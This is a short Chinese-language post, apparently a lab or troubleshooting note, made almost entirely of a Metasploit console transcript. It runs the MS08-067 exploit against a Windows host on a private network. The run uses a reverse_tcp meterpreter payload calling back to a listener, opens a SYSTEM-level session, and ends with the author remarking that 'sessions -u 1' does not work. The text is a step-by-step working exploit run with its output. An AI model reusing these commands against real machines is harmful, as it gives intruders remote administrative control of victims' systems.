metasploit将命令行shell升级为meterpreter

msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set TARGET 41
TARGET => 41
msf  exploit(ms08_067_netapi) > setg LHOST 192.168.1.11
LHOST => 192.168.1.11
msf  exploit(ms08_067_netapi) > setg LPORT 8080
LPORT => 8080
msf  exploit(ms08_067_netapi) > setg RHOST 192.168.1.142
RHOST => 192.168.1.142
msf  exploit(ms08_067_netapi) > exploit -z

[*] Started reverse handler on 192.168.1.11:8080 
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.11:8080 -> 192.168.1.142:1074) at 2013-04-28 10:44:36 -0400
[*] Session 1 created in the background.
msf  exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ ROOT-9743DD32E3  192.168.1.11:8080 -> 192.168.1.142:1074 (192.168.1.142)

msf  exploit(ms08_067_netapi) > sessions -u 1
[-] Session 1 is not a command shell session.
msf  exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

sessions -u 1不起作用啊。